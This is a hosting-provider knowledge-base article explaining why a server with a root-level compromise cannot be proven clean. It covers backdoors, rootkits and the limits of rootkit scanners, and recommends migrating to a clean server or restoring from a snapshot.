Last modified: 2022 July 13
Overview
When a root account is compromised, users frequently inquire about how to "clean" their server. To be direct: without comprehensive knowledge of every action taken on a server, it is impossible to conclusively prove its complete cleanliness. While demonstrating that a server has been compromised is straightforward, proving the opposite is, for all practical purposes, not.
Following a root-level compromise, the only definitive statements that can be made regarding the server's integrity are:
- The server has been hacked.
- The server may still be hacked.
Backdoors
Upon gaining root access, an unauthorized user can manipulate the server without restriction. This capability allows an attacker to install multiple backdoors, facilitating future unauthorized access. The discovery and removal of one backdoor does not guarantee the absence of others. For instance, a cron job might execute daily as the root user, downloading a backdoor to the /bin directory.
You might locate the backdoor in /bin, but overlook the cron job that will subsequently re-establish backdoor access.
Consider a scenario where your Linux server contains 100,000 root-owned files. If three of these files are backdoors granting root access, how would this be identified? Furthermore, many rootkits are designed to conceal the presence of backdoors. If a rootkit manipulates your operating system to hide a file, its presence on the disk will likely remain undetected. Backdoors can also exist solely in memory. Most users lack the necessary resources to continuously audit gigabytes of memory for suspicious activity.
Third-Party Rootkit Hunters
Utilities such as rkhunter and chkrootkit can be both beneficial and detrimental. While they can offer insights into known rootkits, they might also instill a false sense of trust and security. If rootkit detection were unfailingly perfect, there would be no necessity for multiple detection products.
It is crucial to remember that these utilities only scan for known malware; an outdated malware library will result in the failure to detect unknown threats. Although they employ heuristic analysis, they are also prone to generating false positives. Crucially, malware developers commonly and easily evade detection by analyzing these utilities to understand their operational mechanisms.
Undetected and undetectable malware will always exist. Malware frequently features variants that operate through diverse methods. Without knowledge of every potential variant, conclusively resolving the issue becomes impossible.
Official documentation for malware does not exist, as its survival depends on its stealth. While independent researchers and antivirus companies occasionally provide information regarding their findings, there is no guarantee that this information is entirely accurate or comprehensive. Upon public release of such information, malware authors may modify their programs to operate differently, thereby maintaining their undetectable status.
Solutions for Dealing with a Compromised Server
The only viable solutions for managing a compromised server are:
- Migrate the accounts to a clean server and reinstall the hacked server.
- Restore the server from a snapshot. However, if the server was compromised significantly before the issue was identified, this solution might still leave the server vulnerable.
Important:
If you suspect your server has been compromised, we recommend you contact our support team at https://crm.metanow.dev/support. Should we determine that your server is compromised, you or your system administrator will need to implement the solutions outlined above to resolve the issue.
